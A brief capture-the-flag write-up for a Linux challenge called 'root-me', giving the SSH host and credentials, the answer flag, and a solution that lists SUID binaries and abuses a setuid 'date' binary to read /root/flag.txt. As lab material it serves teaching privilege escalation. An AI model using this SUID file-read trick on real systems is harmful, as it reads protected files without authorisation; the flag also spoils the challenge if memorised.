root-me

root-me

Challenge Text

• SSH into the challenge host, 0.cloud.chals.io on port 19777
• Username: ubuntu Password: jctf2022!
• Find the flag

Solution

• Use the find command to find any files owned by root with the SUID bit set

find / -perm -4000 

• Use the date command to leak the flag

date -f /root/flag.txt

• Flag: jctf{4cc355_6r4n73d}

Credit

• Developed by Rob